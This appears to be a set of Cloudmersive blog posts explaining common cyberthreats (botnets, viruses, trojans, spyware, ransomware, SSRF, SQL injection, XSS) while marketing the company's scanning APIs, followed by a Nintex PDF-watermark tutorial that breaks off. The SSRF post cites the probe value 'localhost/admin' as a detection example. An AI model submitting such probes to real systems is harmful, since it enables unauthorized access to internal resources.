The Advanced Scan iteration of the Cloudmersive Virus Scan API offers 360-degree protection against more than 17 million virus and malware signatures & a variety of hidden content threats. After deploying this API in a network proxy or adjacent to an Azure Blob, AWS S3, SharePoint Online Site Drive or Google Cloud storage instance (or in a variety of other locations via custom code deployment), you can set custom threat rules against a variety of threatening file types, including HTML files, scripts, executables, invalid files, password-protected files, macros, unsafe archives, and more. This API will perform in-depth content verification on each file it scans, ensuring the contents match the extension while allowing you to block unwanted file types entirely with comma-separated file extension whitelisting.

For more information on the Cloudmerisve Advanced Virus Scan API, please do not hesitate to reach out to a member of our sales team.

In 2016, a customer of one of the world’s largest cloud-hosting providers experienced a large spike in traffic on one of their servers. Nearly 150,000 devices visited the server at once, amounting to more than 1 terabit-per-second of traffic. Unable to support such a massive volume of server requests, the server was rendered inaccessible for 7 days before it was eventually salvaged.

This server had been subjected to the largest Distributed Denial of Service (DDoS) attack ever recorded up until that point, nearly doubling the volume of traffic experienced in another attack (around 620 gigabits-per-second) which had occurred only days prior. This large-scale attack had been carried out by hundreds of thousands of compromised Internet of Things (IoT) devices located all around the world, all making requests to the same target server in unison.

Unbeknownst to the owners of those compromised devices (which consisted of cameras, home routers, video players, etc.), malware distributed by an attacker had, at some point in the recent past, silently infected their devices and established remote connections between those devices and the attacker’s personal command-and-control servers. This centralized connection allowed the attacker to control the massive group of compromised devices all at once, and this in turn made it possible to launch a coordinated, overwhelming attack against a vulnerable cloud server.

Referred to as “Robot Networks,” or Botnets for short, these groups of compromised devices cumulatively represent a formidable malware threat – one which can be used to carry out disproportionately large cyberattacks on behalf of a single threat actor.

How are Botnets Formed?

To establish a network of compromised devices, an attacker must first gain hold of a smaller group of vulnerable devices using specially crafted malware. This can be accomplished by sharing malware-infected files through various mediums such as email, social media, and more.

Once the attacker’s malware is executed and the initial target devices are compromised, the attacker’s malware can run quietly in the device’s background to avoid detection. It then establishes a remote connection with the attacker’s command & control servers, communicating that it is now capable of receiving updates and instructions from the attacker’s personal environment. The attacker can now use these compromised devices to spread its original malware to an even larger number of devices, exponentially (and indefinitely) expanding their network. The larger the network the attacker can create, the more effective their eventual botnet attacks can be.

What are Botnets used for?

As outlined in the initial example scenario, botnets are most often utilized to carry out Distributed Denial of Service attacks. These attacks usually aim to temporarily disable servers associated with large corporations, governments and/or political groups, damaging the victims’ reputations while increasing the attacker’s infamy.

Botnets can also be used to carry out a variety of other & equally sinister malicious actions. Attackers can, for example, leverage botnets to distribute other common forms of malware (including viruses, trojans, ransomware, spyware, adware, and more) to a wider net of victims. Large botnets create the capacity for attackers to make billions of outgoing malicious requests per day, increasing the likelihood that their malware will infect a substantial volume of target devices.

Attackers can also utilize botnets to compromise smaller and more vulnerable systems within a larger network and leverage those compromised systems to launch subsequent attacks on the network’s interior. This can make it possible for attackers to steal valuable data directly from an organization’s servers, including anything from sensitive customer information to irreplaceable intellectual property.

When botnets become excessively large, the attacker in control of a network may even rent out or sell segments of their network to other cybercriminals on the dark web. There are many additional examples.

How can Botnet Threats be Mitigated?

Because botnets are typically amassed through regular malware attacks (via email, file sharing, etc.), preventing the growth and proliferation of botnets begins with protecting our own devices against regular malware attack vectors.
Staying alert to the possibility of dangerous spam emails, untrustworthy content and social engineering ploys has a key role in preventing the growth of botnets.

Further, it’s often possible to tell if our device has been compromised by analyzing the performance of our applications and the speed of our regular internet activities. If we suddenly notice a significant drop-off in speed and performance on our device, it’s possible that malware could be running in the background and passively eating up our computer’s resources.

Preventing Compromised Devices & Detecting Botnet Traffic with Cloudmersive APIs

The Cloudmersive Virus Scan API can be used to help prevent malware from infecting your devices and adding them to a botnet. In addition, you can use various iterations of the Cloudmersive Security API to determine whether devices which are known participants in established botnets are visiting your network.

The Advanced Scan iteration of the Cloudmersive Virus Scan API can be used to scan files and content for malware. This API can be deployed in no-code product form at the network edge (Cloudmersive Shield) within forward or reverse proxies, and it can be used to perform in-storage scanning (Cloudmersive Storage Protect) for AWS S3, Google Cloud Storage, SharePoint Online Site Drive, and Azure Blob storage instances. This API additionally scans files for viruses and unwanted content types including executables, invalid files, password-protected files, and more.

The Check if IP Address is a Known Threat Security API iteration can be used to determine if a certain IP address is currently included on a continuously updated list of bad Ips, botnets, compromised servers, and other similar threats. If one of these threats is detected, the threat type will be identified in the API response through the “ThreatType” string value.

Similarly, the Check if IP Address is a Bot Client Threat Security API iteration can be used to check if IP addresses are bots, robots or otherwise non-user entities. This API leverages real-time signals to check against high probability bots, returning an “IsBot” Boolean with the threat detection outcome.

For more information on Cloudmersive Virus Scan APIs and Security APIs, please do not hesitate to reach out to a member of our sales team.

The word “Virus” is often used as a catch-all term to describe any malware that infects a computer. The real definition is a bit more specific than that, however, so it’s important to make that distinction clear.

Computer viruses are malicious programs designed to latch onto files and replicate themselves throughout a system. Unlike other similar & equally prevalent forms of malware which can spread completely autonomously (i.e., worms), viruses require some form of interaction to initiate the injection of a malicious payload before they can spread from file to file and/or from system to system. The term “virus” is a direct reference to biological viruses which spread from person to person through regular human contact.

How do Computer Viruses Spread?

Viruses are most often perpetuated via widespread dissemination of infected files or compromised URLs through popular communication mediums like email. Common Office document formats like Excel, MS Word, and others have been utilized for this purpose for several decades. For example, as far back as 1999, an infamous virus (named the “Melissa” virus) afflicted more than 250,000 computers, hijacking email applications on the devices it compromised to rapidly share Office documents containing infected macros with other unsuspecting users.

Today, the increasing popularity of applications which allow direct file upload processes means these same infected documents and URLs can now enter professional networks through insecure upload portals.

Even before the internet took off in the early 1990’s, cybercriminals transmitted primitive computer viruses over floppy disks. While floppy disks themselves are now a relic in the history of computer hardware, their modern-day equivalents (hard drives and USB storage devices) are still utilized to accomplish the same outcome – albeit less frequently than methods involving internet communication.

Cybercriminals can also disguise viruses as seemingly legitimate software/application downloads. In such cases, the virus can be more accurately described as a “Trojan Horse”, or “Trojan” for short. Once a user initiates a download, the virus can spread rapidly through their file system and exploit an exponential number of sensitive file locations, one after the other, until the entire system is compromised.

What is the Impact of a Virus Attack?

Virus attacks often lead to disastrous outcomes for a target device and/or its network of adjacent devices. Viruses can be designed to rapidly exfiltrate, delete or hold sensitive data hostage (i.e., ransomware), interfere with a device’s regular functionality, compromise a device and utilize it in subsequent attacks (i.e., botnet attacks) on external devices, and much more. The scope of the impact a virus can have depends largely on the specific type of virus which is used and the security architecture of the affected device/network of devices.

How can Virus Threats be Mitigated?

Because viruses most often require users to open infected files, click on & visit malicious URLs or physically insert compromised hardware into their device, extreme caution around potentially untrustworthy content remains one of the strongest best defenses against virus attacks. Emails containing malicious attachments and URLs are often identifiable by small errors or inconsistencies in the email domain or in the message body itself, and infected file uploads often have suspiciously complex or generic titles.

Detecting Viruses with the Cloudmersive Virus Scan API

Deploying the Cloudmersive Virus Scan API (Basic or Advanced versions) will help protect your system against a continuously updated list of 17+ million virus and malware signatures. This API accepts URLs and a wide range of file types (including all Office formats, HTML, PDF, .ZIP, over 100 image formats, and more), and specific iterations of this API can be deployed to scan AWS S3, SharePoint Site Drive, Azure Blob, and Google Cloud files in-storage.

For more information on Cloudmersive Virus Scan APIs, please do not hesitate to reach out to a member of our sales team.

Cybercriminals use diverse methods to attack, infiltrate and compromise our systems and devices. The motivations for launching these attacks also vary, with end-goals ranging from lucrative data exfiltration to a simple desire for infamy across the digital world.

When we take a step back from the specific details and circumstances attached to any given cyberattack, we can acknowledge that they share one common theme. In one way or another, the majority of these attacks employ malicious software – “Malware” for short – to achieve their goals.

The term Malware broadly labels a category of software which is developed with the explicit intention of exploiting systems, networks and/or valuable data. In much the same way lawful organizations depend on the persistent evolution and improvement of legitimate applications and tools to create new value in a digital space, cybercriminals largely rely on the innovation and expansion of Malware to efficiently breach modern systems and networks.

What are Examples of Malware, and How is it Spread?

Malware can be broken down into a few major categories, all of which contain distinct sub-categories of their own. Malware is most often spread through the dissemination of infected content via spam emails and other common internet communication mediums, and it is typically hidden within compromised files, URLs, applications, and devices.

Perhaps the oldest and most widely understood category of malware is Viruses. These programs replicate themselves throughout a system once their host (typically a file or URL) is opened and executed, and they serve myriad purposes for cybercriminals attacking a target system.

Another major category of malware is Worms. In a similar way to Viruses, Worms self-replicate and move rapidly through a system, consuming valuable resources and damaging important content along the way. They differ from Viruses in that they do not require an initial executable host to begin replicating and spreading their contents. This trait makes them a particularly dangerous and unpredictable form of malware.

Any malware which is designed to deny an individual user or organization’s access to internal data in exchange for monetary compensation is considered Ransomware. When malware is designed to covertly enter a system and perform surveillance activities, it is considered Spyware. In addition, malware intended to forcibly advertise third-party content on a device is called Adware.

Devices compromised by Viruses, Worms, and other malware programs can themselves become weaponized as a form of malware called Botnets. These groups of compromised devices are typically controlled by a single threat actor and used to launch distributed cyberattacks against larger networks or groups of individual users.

How can Malware Threats be Detected and Mitigated?

Preventing malware from infiltrating a system begins with establishing a strong perimeter defense around a network. This generally involves deploying a strong firewall, setting up forward and reverse proxies at key network chokepoints, and training users to avoid accessing malicious files and links which may have been shared with them via email or other common communication methods.

When malware breaches a network’s perimeter, efficient compartmentalization of internal resources coupled with multiple redundant security policies helps prevent the spread of that malware internally. Latent malware running on a device (or network of devices) can be detected by using commercial network monitoring products or by logging and reporting noticeable dips in system performance (latent malware typically consumes a considerable volume of network/system resources and thus slows down other applications and tools).

Detecting Malware with Cloudmersive

The Cloudmersive Virus Scan API references a continuously updated list of more than 17 million virus and malware signatures, and it can be deployed to detect malware embedded within files and URLs as those hosts attempt to infiltrate a system or network.

Basic and Advanced versions of the Virus Scan API can be deployed flexibly as low-code solutions. The advanced version of this API, which offers 360-degree protection against viruses, malware, and non-malware content threats (including executables, invalid files, scripts, password-protected files, macros, and more), can be deployed in no-code product form at the network edge and as an in-storage scanning solution for popular cloud products including AWS S3, Azure Blob, SharePoint Site Drive and Google Cloud Storage.

For more information on how the Cloudmersive Virus Scan API can help protect your network and storage systems against malware threats, please do not hesitate to reach out to a member of our sales team.

If URLs supplied through client-side web applications aren’t rigorously validated, they can be used to force vulnerable server-side applications into accessing unauthorized data - or even sensitive, internal network resources - on behalf of a cybercriminal. In such cases, the database or backend server processing the request might interpret the malicious URL as though it originated from inside of the application’s trusted network, enabling the request to bypass internal security policies and retrieve resources without needing any permissions. Referred to as Server-Side Request Forgery (SSRF), this attack vector can lead to a variety of extremely negative outcomes, including anything from large-scale data exfiltration to Denial-of-Service attacks.

How do SSRF Attacks Work?

Once a cybercriminal identifies an SSRF vulnerability, they can exploit it by submitting a modified HTTP request (containing a malicious URL) through a client-side web application. This URL contains parameters that specify which server resources the attacker wants to gain access to. The vulnerable server-side application believes it can trust this URL’s request parameters because it appears to originate from within the application’s trusted network, rather than from the client-side browser it really originated from.

If the attacker’s goal is to exploit the web application server, the malicious URL will often contain a common local hostname followed by a specific path to the attacker’s desired resources. This can allow the attacker to circumvent normal authentication protocols and access resources directly from the application server, retrieving sensitive details which are only intended for permissioned internal or external users. Application server databases with REST interfaces (NoSQL databases), for example, can be forced to submit data to the malicious URL, thereby unintentionally exfiltrating sensitive data.

If the goal of the attack is to exploit internal-facing backend servers adjacent to the application server (i.e., those which don’t contain any resources intended for external users whatsoever), the attacker can formulate malicious URLs which call out those adjacent server IP addresses and mimic internal admin controls. Vulnerable backend servers are often entirely unprotected against requests which appear to originate from within the “secure” network perimeter, and as a result, they can be forced into sharing administrative permissions and other sensitive internal information in response to the URL’s request parameters. This information can be used to carry out subsequent attacks against the vulnerable network, and once compromised, this network can in turn be used to carry out attacks against separate external networks.

How can SSRF Attacks be Prevented?

Mitigating SSRF attacks starts with performing an exhaustive review of internal and external network security architecture. Organizations need to ensure client-side inputs are validated, and they need to make sure URL requests can only be made to necessary network resources. It’s important to extensively compartmentalize internal and external resources in a network so that internal administrative controls don’t implicitly trust requests from server-side web applications.

Detecting SSRF Threats with Cloudmersive

Using the SSRF detection iteration of the Cloudmersive Security API, organizations can detect SSRF threats from input URL strings and learn the level of threat (low, medium, or high) associated with that input URL. If, for example, a URL containing the common SSRF attack parameters “localhost/admin” were entered, the API response would return a “CleanURL: False” response with a “ThreatLevel: High” description. This response allows organizations to prevent SSRF attacks and simultaneously log data on those attacks to better understand threats to their network.

For more information on Cloudmersive Security APIs, please do not hesitate to reach out to a member of our sales team.

When a client-side user searches for content on a website, logs into an account on a web application, or fills out any type of interactive form online, they are submitting data to query information from an underlying (in most cases SQL) database. At a high level, the website/web app first receives a user’s information through a designated user-input field, then structures a SQL query to store, modify or validate that information in some way, and finally returns a result which the user can view on their browser.

In many ways, these simple interactions with SQL databases embody the utility of the internet, enabling clients and hosts to exchange and mutually benefit from valuable data sets at high speeds.

Consequently, however, the user input fields which capture and submit valuable client-side information also represent direct pathways which cyber criminals can use to illegally access database information. If a website/web app fails to rigorously secure its user input fields, threat actors can exploit automatic SQL queries by structuring and submitting malicious queries of their own, inducing a database to take unauthorized actions on their behalf.

This attack vector, referred to as SQL Injection (SQLI), is a very common web security threat which has impacted dozens of high-profile websites/web apps in the past few decades. It remains an extremely attractive attack vector due to the steadily increasing volume of sensitive data that users provide to online services.

How do SQLI Attacks Work?

To carry out an SQLI attack, an attacker must first identify a vulnerable website/web application. In this case, a vulnerable website/web app can generally be considered one which does not properly validate or sanitize user input before structuring that information in a database query. A website/web app's degree of vulnerability can also be impacted by out-of-date technology; SQLI attacks are much more commonly carried out against websites/web apps with older functional interfaces.

Once a vulnerability is identified, the attacker can enter a malicious query into a vulnerable user-input field. These input fields most often include login forms (where authentication details are entered), search fields (where publicly available resources are queried), contact forms (where personal information is entered), feedback forms, and even URL parameters in some cases.

What is the Impact of an SQLI Attack?

When a website/web app executes a user-supplied SQL query against the database, the attacker can retrieve information that far exceeds normal request parameters. As a result, the extent of damage caused by these attacks tends to vary significantly based on the skill and sophistication of each individual attacker.

The most common goal of an SQLI attack is to read (access) sensitive user data in the database. Personal information, such as email addresses and phone numbers, can be stolen by the attacker and sold to malicious third parties and/or used to carry out subsequent cyber-attacks. The simplicity of this goal makes any website that stores sensitive user information, regardless of its size or reputation, a worthwhile target for motivated threat actors.

In addition, database information can be deleted outright in SQLI attacks, resulting in severe financial losses for the affected website/web app. Administrative database permissions can also be obtained, allowing the attacker to control the database. In extreme cases, the attacker can even gain complete control of the application and/or issue commands to the operating system itself.

How Can SQLI Attacks be Prevented?

To prevent SQLI attacks, websites/web apps should heavily parameterize database queries with prepared statements and include automatic input validation measures to scrutinize user input before formulating a query.

In addition, the SQLI Detection iteration of the Cloudmersive Security API can be implemented to check user-facing text input strings for SQLI attacks. This API identifies SQLI attacks and returns a Boolean (“ContainedSqlInjectionAttack”) indicating if an attack was identified from text input. The API response also contains the original input string, making it easy to remove/delete threats before they can impact the underlying database.

For more information on how the Cloudmersive Security API can protect your websites/web applications against SQL injection attacks, please do not hesitate to reach out to a member of our sales team.

When visiting a web page with public-facing user input fields, we’re encouraged to submit content that alters what subsequent visitors see on that web page. For example, if we want to comment on an article we just read on a news site, we can simply type a string of text into a clearly labeled “comment” field, and once we’re done, we can click “enter” or “submit” to incorporate that information into the web page’s display. When the next visitor to this news site opens and reads that same article, their browser will interpret updated information from the web server that includes our comment, and that visitor can now read our comment along with the original article.

Most of the time, the content of the comments we post is exactly what the web application expects (in this case, something to the effect of plain text with a few punctuation characters here and there). If the website has high security standards, it won’t blindly trust that users are entering the exact form of content it expects – it will attempt to validate and clean that input to enforce its content limitations. If, however, the application does not properly validate and sanitize the input we’re allowed to submit, a user (threat actor) with malicious intent can easily induce the server to display insecure content – which they fully control – for subsequent web page visitors. This threat actor can, for example, enter malicious scripts into comment fields that other users’ client-side browsers automatically interpret and execute, allowing them to infiltrate and compromise those users’ devices.

This scenario represents one of several ways in which a common form of cyber-attack – widely referred to as Cross-Site Scripting (XSS) – can be carried out through a vulnerable website or web application. Once malicious scripts are executed by a client-side user’s browser, there’s little the affected user can do; the attacker can now carry out criminal actions such as stealing the user’s personal information, hijacking their session, redirecting them to malicious websites with virus or malware payloads, and much more. When this occurs, the vulnerable website or web application bears responsibility for allowing this breach to affect a patron of their service, and the ensuing loss of trust can significantly impact their future business prospects.

How Does Cross-Site Scripting Work?

To initiate an XSS attack, a threat actor must first identify a website which has poor input validation and sanitization measures. Targets in real-life XSS breaches have included a variety of popular sites including prominent news sites (exploiting insecure comment sections as outlined in the example above), email hosts, social media sites, and even ecommerce platforms.

When an attacker identifies an XSS vulnerability, they can enter a malicious script into a user-input field and induce subsequent client-side browsers to execute that script. They can also inject scripts using malicious URLs, HTTP headers and insecure Cookies. These attacks can impact more than one user at a time, and in particularly devastating cases, they can be extremely difficult for those users to recover from.

What Makes a Website Vulnerable to Cross-Site Scripting?

A website is vulnerable to Cross-Site Scripting attacks when it does not properly scrutinize user input or attempt to neutralize potential threats before it displays user-supplied content for subsequent web page viewers.

A web page must first validate the input it receives against the input it expects; for example, if a particular input field expects only integers, it should not process and display string values or special characters, and it must not allow incorrect content to persist to the database.

The web page must also sanitize user supplied content, which means removing malicious elements from the original user input. If, for example, an attacker attempts to initiate an XSS attack by supplying a malicious script enclosed within HTML tags, the web application should ensure these tags are completely removed from the text input so user-supplied HTML cannot be executed in the next visitor’s browser.

Preventing XSS Attacks with Cloudmersive APIs

The XSS Protection iteration of the Cloudmersive Security API defends web applications against XSS attacks by detecting and subsequently normalizing (removing) threats from an input string. The API response provides a Boolean determining if the input string contained an XSS attack, and below that, it supplies a string containing the original (potentially threatening) input along with a string containing the Normalized Result after the threat is rendered inert.

For more information on the XSS Protection iteration of the Cloudmersive Security API, please do not hesitate to reach out to a member of our Sales Team.

For a threat actor to initiate a cyberattack, they first need to find a way through the front gates of a target network. Threat actors perpetually seek out fresh vulnerabilities and test new attack vectors in pursuit of this goal, attempting to stay ahead of the fast-evolving cybersecurity curve.

Through all the persistent innovation in cyberattacks, however, the art of disguising threats in plain sight remains among the most effective network-breaching methods. Successfully tricking a user on a target network into accessing malicious content can rapidly snowball into a virus or malware download, and once that download occurs, subsequent attacks can be carried out within that user’s device (or, in some cases, multiple devices attached to the same network) to steal data or use their IP address for further malicious activity.

Named after the infamous wooden “gift” that famously penetrated the walls of Troy more than 4,000 years ago, Trojan Horse threats (Trojans) are a long-standing and prolific cyberattack vector, accounting for a high volume of successful breach attempts on Windows operating systems.

Understanding Trojans

Trojans are a type of malware specifically designed to appear as a normal, legitimate file or program to the naked eye. Unlike viruses, which are often capable of executing without the help of user download, trojans require the victim to willingly access their contents before injecting a malicious payload. They’re most often used as a method for installing other types of malware, like viruses, worms, or ransomware, onto a victim’s device.

Trojans are very frequently spread through emails which spoof trusted external contacts or information sources. The Trojan malware itself is usually included in a file attachment, which will quickly download and install its contents once the victim clicks on the file to open it. These same types of infected files can often be found on malicious websites which aim to gain a victim’s trust by appearing like other websites that legitimate files are commonly downloaded from (imagine, for example, a fake research website promoting a free download of their report on recent marketing trends). In addition, trojans can hide alongside application downloads which are usually safe, “piggybacking” on legitimate software to sneak onto a victim’s device.

Common Types of Trojans

Because Trojans can be used to carry a wide variety of threats, they can be used to achieve an equally diverse set of malicious outcomes.

One of the most common and damaging types of trojan is a Backdoor Trojan, which attackers can use to directly take control of a computer. Once the attacker gains unrestricted access to a computer, they can download valuable data to an external device and take a variety of other malicious actions.

Trojans are also frequently used as a precursor for carrying out Distributed Denial of Service (DDoS) attacks on a separate target. Attackers often carry out DDoS attacks by flooding a target server (typically one operated by a large company or government organization) with requests, and they can assemble the required group of compromised devices by sending Trojans to victims via spam emails or through social media platforms.

Further, ransomware – an extremely common form of malware designed to hold valuable data hostage until a certain price is paid – is often installed onto a system using a Trojan as the initial attack vector.

Preventing Trojan Attacks

Preventing Trojan attacks on any network of devices starts with training users to identify threatening content. Illegitimate emails can usually be identified with a careful glance at the email address or message body, and file attachments should only ever be accessed when they come from completely verifiable and trusted external locations. In addition, users on any network should always exercise extreme caution when downloading files or applications directly from a seemingly legitimate website. Malicious sites are often flagged by up-to-date web browsers and tracked by reputable cybersecurity organizations. Developers and system administrators can also protect their network and file storage locations from Trojans by frequently updating their security policies and building security redundancy in particularly sensitive areas.

Detecting Trojans with the Cloudmersive Virus Scan API

The Cloudmersive Virus Scan API can be deployed to detect trojans at the network edge in both forward or reverse proxies (Cloudmersive Shield), and it can be deployed to detect trojans stored within cloud storage instances (Cloudmersive Storage Protect) like AWS S3, Azure Blob, SharePoint Online Site Drive, and Google Cloud Storage. Both the Basic and Advanced Virus Scan API iterations provide multi-threat scanning coverage against viruses, malware, trojans, ransomware and spyware, referencing a continuously updated list of more than 17 million virus and malware signatures. The Advanced Virus Scan API iteration is also capable of detecting hidden content threats like executables, macros, scripts, unsafe archives, and more, providing customizable threat rules in the API request body.

For more information about how the Cloudmersive Virus Scan API can protect your system against trojans and other threats, please do not hesitate to reach out to a member of our sales team.

What are TXT Files?

TXT files, verbally referred to as “Text” files, are universally interoperable files capable of storing any information represented in plain text format. This means they’re equipped to carry a very wide range of content – including anything from paragraphs of prose to arrays of data and lines of code – between just about any application or operating system.

How are TXT Files Typically Used?

The versatility of TXT files leads to their use in a wide range of practical scenarios. For example, they’re just as easily leveraged for jotting down notes during a team meeting as they are for storing lines of application source code (many of the configuration settings for our various software applications are stored in TXT format). On top of that, TXT files are frequently used for sharing large volumes of text-format data (JSON, XML, etc.) across networks due to their compact file size.

Why Should I Avoid Text File Uploads?

While TXT files are useful in some practical internal scenarios, the problem with uploading them to an accessible file storage instance is that they lack a formal file structure. First and foremost, this makes them impractical for sharing with consumers and business users alike (structured formats like PDF, DOCX, XLSX are designed to make plaint text information more presentable and usable), and, crucially, it makes their contents extremely difficult to verify beyond the file extension level. Any text-based program or script is technically a valid TXT file, which makes TXT file uploads viable attack vectors capable of carrying malicious code into sensitive storage locations.

Rather than assume unnecessary risk by uploading raw TXT files to storage, you can take advantage of their interoperability instead by using their contents in structured multimedia file formats (like PDF, for example). Once stored in a verifiable format like PDF, potentially threatening content can be quickly detected and flagged with content verification security policies.

How can the Cloudmersive Advanced Virus Scanning API Protect my File Uploads?

Once TXT file contents are stored in a structured file format like PDF, the Cloudmersive Advanced Virus Scanning API can then dig into the file encoding and return a CleanResult: True or CleanResult: False response. In conjunction with this measure, file restrictions policies can be configured to categorically block all incoming TXT files. All told, this will ensure your original TXT file contents can enter storage ONLY after undergoing a standard content verification check.

For more information on how the Cloudmersive Advanced Virus Scanning API can protect your file storage instances, please do not hesitate to contact a member of our sales team.

Personal information is a valuable currency. Full names, dates of birth, contact details, physical addresses, personal/professional connections, and even political affiliations are regularly observed and recorded through legitimate, consented means and often used to create a more personalized online experience for each individual online user. Unfortunately, however, the retrieval and usage of personal information isn’t always limited to legal methods with established commercial outcomes.

What is Spyware?

Private personal information can be illegitimately monitored and even stolen from users on any given device through an insidious type of malware called spyware. This branch of malware is specifically designed to run on a user’s device without their knowledge or consent and report information about that user to one or more external third parties. That information can include extremely sensitive details like a user’s financial information, their keystrokes (any text a user types into their device), their login credentials for various applications, their browsing habits, and much more.

The impact of undetected spyware on any given user’s device or network of user devices can be simultaneously compromising and deeply unsettling, ranging from data theft to identify fraud. Sophisticated spyware can even leverage the built-in video camera and microphone on any given device to retrieve extremely sensitive information about that user’s physical surrounding environment.

Spyware Delivery Methods & Examples

Like most forms of malware, spyware is typically downloaded onto a user’s device without that user’s knowledge. Once the device’s anti-malware security policies are successfully bypassed, covert download techniques allow the malicious program to avoid user detection and carry out long-term spying activities unchecked.

Spam email attachments and links are an extremely common method of distribution, goading a user into initiating a malware download using social engineering tactics. In addition, safe-looking websites with underlying code vulnerabilities can be hijacked and utilized to inject spyware onto an unsuspecting client-side user’s device. It’s also possible for threat actors to package spyware alongside apparently legitimate product download files.

One extremely common form of spyware is Adware, which shares the activity it monitors on the user’s device with external advertisers or data brokers for financial gain. Another common example is a Keylogger (Keystroke Logging spyware), which stores the text information that a user types into their device at any given time – including anything from instant messaging conversations to credit card or login details – allowing external threat actors to spoof that user’s identity and access sensitive applications in their name. There are many more studied examples, and as effective solutions are developed to identify and prevent these iterations from causing harm, new versions inevitably take their place.

Preventing and Detecting Spyware

It’s critically important that users on any personal or professional network carefully evaluate the source of an email attachment or website link before accessing its contents. In addition, spoofed websites can sometimes be identified by a cursory inspection of the domain name and URL, and modern browsers are increasingly capable of alerting users when websites carry hidden threats.

If spyware downloads aren’t detected by a user’s anti-malware security policies, it’s sometimes possible to discern the presence of spyware by analyzing the performance of the user’s device. Spyware applications are always running in the background, which can have a noticeable impact on the efficiency of other applications. In blatant cases, new unidentifiable icons can appear on a user’s desktop homepage, or the homepage background might change entirely.

Detecting Spyware with the Cloudmersive Virus Scan API

The most effective method for detecting spyware (and any form of malware) before installation occurs on a device is through the deployment of regularly updated virus and malware detection software. Using the Cloudmersive Virus Scan API in conjunction with your applications, cloud storage instances, or via deployment at your network edge, you can identify a growing list of more than 17 million virus and malware signatures including spyware, ransomware, trojans, and more.

Additionally, using the Advanced Virus Scan API iteration, you can apply 360-degree content protection with custom threat rules to block hidden threats like executables, macros, scripts, and more. This API can be deployed in no-code or low-code form depending on your specific needs.

For more information on the Cloudmersive Virus Scan API, please do not hesitate to reach out to a member of our sales team.

According to public reports, well over 200 million ransomware attacks happened in the first half of 2022 alone, and these attacks ultimately accounted for a fifth of all cybercrimes committed in that entire year. Ransomware continues to present a serious risk to organizations across the world, and it’s more important than ever to understand its insidious distribution methods and its notoriously catastrophic outcomes.

What is Ransomware?

Ransomware is a form of cyber-attack which seeks to encrypt a company’s most valuable data and demand payment in return for the decryption key, typically within a timeframe specified by the attacker. This aptly named attack is explicitly carried out for financial gain, standing in contrast to other common attack vectors – such as Distributed Denial of Service attacks – which generally seek to damage the reputation of a company and disrupt its operations.

While decryption without the attacker-supplied key is sometimes possible, it’s usually extremely difficult to recover compromised data in a sophisticated ransomware attack. There’s also no guarantee that the attacker will supply the encryption key once payment is received, so it’s extremely important to proactively defend against ransomware.

How is Ransomware Spread, and How does it Work?

Phishing is by far the most common method for spreading ransomware. Ransomware is generally disguised within everyday content like email file attachments and compromised website links, so spam emails with targeted social engineering attempts are often the most successful methods of distribution. It’s also common to find ransomware links posted or directly messaged to users on popular social media platforms, and instances of distribution via Malvertising (advertising sites compromised with malicious code) have been reported.

Once a victim activates a ransomware file or link, the ransomware is downloaded onto their device and automatically installed. The attacker’s goal is to encrypt valuable data either stored locally on the device or within a larger network of connected applications, and their ransomware is typically configured to find original AND backup files to improve the attacker’s chances of eventually receiving a ransom payment. When files are successfully encrypted, they become inaccessible to the victim, and the victim typically receives clear instructions detailing the ransom payment process. The victim can usually access a link to make a payment to the attacker, but there’s no guarantee whatsoever that the attacker will honor their end of the bargain.

How are Ransomware Attacks Prevented?

First and foremost, out-of-date systems are the most vulnerable to any form of malware attack, so preventing ransomware starts with rigorous patch management and system updates. Robust data backup practices with redundant security policies are also vital to ensuring successful ransomware encryptions don’t hold your business hostage. On top of this, users in any organization should receive extensive training to avoid phishing links and other common forms of ransomware distribution.

It's also vital to implement dynamic virus and malware detection policies. The Cloudmersive Advanced Virus Scan API provides a powerful solution, offering 360-degree content protection against more than 17 million virus and malware signatures and hidden content threats like executables (Windows-based executables account for more than 90% of ransomware attacks), invalid files, scripts, macros, and more. The Website Scan iteration of the Virus Scan API also provides extensive protection against phishing links, virus-infected websites, and a variety of other URL-based threats.

For more information about Cloudmersive Virus Scan APIs, please do not hesitate to reach out to a member of our sales team.

Watermarks are semi-transparent text labels generally used to protect documents from unauthorized use. They can also help promote a brand or enhance the visual appeal of a document depending on the use case. Using the Cloudmersive PDF API in Nintex, you can easily create custom watermarks and apply them to any PDF document in a few quick steps.

In this article, we’ll demonstrate how you can design a Nintex component workflow that adds a fully customized watermark to a single PDF file.

1 – Starting from the Nintex workflow design page in our web browser, our first step is to click on the “Start From” dropdown and select the “Component Workflow” option.

2 – Next, let’s add a step to grab our PDF file. This file used in this example workflow lives in OneDrive for Business, so we’ve included the “Get a File” action in our workflow. This action can be found by searching “OneDrive” or “Get a File” in the search bar on the lefthand side of the page and selecting it from the list of options.

Using any action in Nintex starts with providing authentication credentials via the “Connection” dropdown on the righthand side of the page, and it ends with creating a variable to store the output data from that action. To create an output variable, click on the “Select a Variable” tab under “Store Output,” click “Add Variable,” and then give the variable a name and confirm its data type. In this case, our data type should be “File”. Once the variable is created, it can be accessed from the “Select a Variable” dropdown.

In the below screenshot, we’ve created a variable called “PDF File” and used it to capture the output file from our OneDrive connector.

3 – We can now incorporate out Cloudmersive PDF API action. To find the watermark action, let’s type “Cloudmersive” into the search bar on the lefthand side of the page. This brings up a list of Cloudmersive API connector actions; we can now click on the “Add Text Watermark to PDF” action and drag it into our workflow.

From here, we can click on the action to configure it in the tab on the righthand side of the page.

To create our Cloudmersive Connection, let’s click on the “Connection” dropdown and select “Add Connection”. After that, we can give our connection a relevant name like “Cloudmersive PDF”, and then we can authenticate our connection by copying the API key from our Cloudmersive account page and pasting it into the “API key” field. If you don’t currently have a Cloudmersive API key, you can get one for free by registering a free account with no commitment (this will allow a limit of 800 API calls per month).

With our connection established, let’s now hover over the “File” input parameter and click “insert”. This brings up the option to select the “PDF File” variable we created in the previous step. Let’s click “insert” on that variable to include it in our Cloudmersive PDF API request.

We can now begin customizing our watermark. We can set the watermark’s display text in the “Watermark Text” field, and after that, we can specify out desired font type (by name), as well as the font size, font color, and font transparency level. In our example, we’ve set “Cloudmersive” as our watermark display text, kept the font name at the default value (Times New Roman), set the font size to 100, kept the font color at the default value (red), and set the font transparency level to 0.3.

To finish configuring this action, we need to store its output in a custom variable. We can do so by following the exact same process outlined in the OneDrive “Get a File” step above. Let’s select “Add Variable” from the “Select a Variable” dropdown, give our variable a relevant name like “Watermark PDF Output”, ensure the data type says “File”, and then click “Create” to store our variable. Once stored, we can access it from the “Select a Variable” dropdown.

The configuration step for our “Add Text Watermark to PDF” action is now complete.

